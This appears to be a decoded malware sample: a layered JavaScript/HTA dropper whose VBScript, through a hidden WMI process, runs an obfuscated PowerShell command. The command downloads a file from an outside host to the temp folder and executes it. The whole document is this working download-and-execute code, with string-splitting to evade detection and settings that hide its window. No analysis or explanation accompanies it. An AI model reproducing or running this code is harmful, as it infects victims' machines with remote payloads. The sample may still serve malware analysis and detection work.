Decoded

document.write(unescape("<script>
<!--
document.write(unescape("<script>
<!--
document.write(unescape("<script>
<!--
document.write(unescape("<script>
<!--
document.write(unescape("<html>
<head>
<HTA:APPLICATION icon="#" WINDOWSTATE="minimize" SYSMENU="no"  CAPTION="no" />
<SCRIPT Language="VBScript">

XXXXXXXXXXXXXXXXXXXNXXXXUSYSMENUYYYYYYYYYYYYYYYYYYYYYY = "Powershell $r='KEX'.replace('K','I'); sal D $r;'(&(GCM' ' *W-O*)'  'Net.' 'Web' 'Cli' 'ent)' '.Dow' 'nl' 'oad' 'Fil' 'e(''http://governosp.com.br/guerra'',$env:temp ''\\'' ''js.js'')'|D; start-process($env:temp '\\' 'js.js')"
Set objWMIService = GetObject("winmgmts:{impersonationLevel=impersonate}!\\.\root\cimv2")

Set yeteuyeuehjehejehjehejenhjeh = objWMIService.Get("Win32_ProcessStartup")
Set objConfig = yeteuyeuehjehejehjehejenhjeh.SpawnInstance_
objConfig.ShowWindow = 0

Set objProcess = objWMIService.Get("Win32_Process")
intReturn = objProcess.Create(XXXXXXXXXXXXXXXXXXXNXXXXUSYSMENUYYYYYYYYYYYYYYYYYYYYYY, Null, objConfig, intProcessID)

self.close
</SCRIPT>
</body>
</html>"));
//-->
</script>"));
//-->
</script>"));
//-->
</script>"));
//-->
</script>